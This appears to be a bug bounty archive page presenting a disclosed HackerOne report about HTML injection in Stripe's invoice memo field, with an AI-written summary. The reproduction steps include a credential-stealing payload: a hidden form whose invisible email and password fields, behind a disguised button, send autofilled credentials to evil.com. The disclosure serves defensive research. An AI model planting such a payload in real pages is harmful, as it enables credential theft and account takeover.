Skip to content
XSS Disclosed report Intermediate

HTML Injection in the Invoice memos field

The memo field on invoices allowed HTML injection, so an attacker could embed a hidden login form that captured the victim's saved credentials when they clicked a disguised button. This could lead to account takeover.

sn-shyk Follow

Originally disclosed on HackerOne

Bounty$500 Medium View original
  • Triaged in 38 hours
  • Fixed in 4 days
  • Paid in 4 days
  • Disclosed after 20 months

Summary:

In customer invoices a memo field is vulnerable to HTML injection. So i can takeover any victim's account with auto-save functionality through HTML injection. Basically when we saved the login credential in our browser & tried to login into the account the browser automatically fills the email & pass we just need to click on login. so I created a login form and make the email & password field invisible by setting Opacaity:0 in CSS and set my button name to "Load more content".

Steps To Reproduce:

  1. Login to your account and save your email and password in your browser

  2. Go to https://dashboard.stripe.com/invoices. Create new invoice or edit any invoice

  3. Memo field is vulnerable to HTML injection. So just paid this HTML code to memo field "<form action="//evil.com" method="GET"><input type="text" name="u" style='opacity:0;'><input type="password" name="p" style='opacity:0;'><input type="submit" name="s" value="Load more content"> "

  4. Save the invoice. Now open that invoice in a new tab.

  5. You can see a "load more content" button there. Just click on that button and in evil.com you will find your email and password in URL.

  6. You can takeover any victim's account by sending that invoice

Supporting Material/References:

https://saadahmedx.medium.com/exploiting-auto-save-functionality-to-steal-login-credentials-bf4c7e1594da

Impact

Takeover any victim's account

Attachments

Account_takeover_via_html_injection.mp4 From the original on HackerOne

The original report as published on HackerOne, by sn-shyk. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application did not properly sanitise or encode user-supplied input in the invoice memo field, allowing HTML and form elements to be rendered.

Impact

An attacker could take over any victim's account by sending a malicious invoice that steals saved login credentials.

What the attacker needed

Victim has saved credentials in browser; victim clicks a button in the invoice

How it was found

  1. Log in and save your email and password in your browser.
  2. Go to the invoices page and create or edit an invoice.
  3. Insert HTML code into the memo field that creates a hidden login form.
  4. Save the invoice and open it in a new tab.
  5. Click the disguised button to send the saved credentials to the attacker's site.
  6. Use the stolen credentials to take over the victim's account.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTML injection lets an attacker insert their own web page code into a field that is shown to other users. Here, the attacker put a fake login form with invisible fields into an invoice memo, so when the victim clicked a button, their browser's saved email and password were sent to the attacker's site. This is dangerous because many browsers auto-fill saved credentials, and the victim might not notice.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Stripe

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.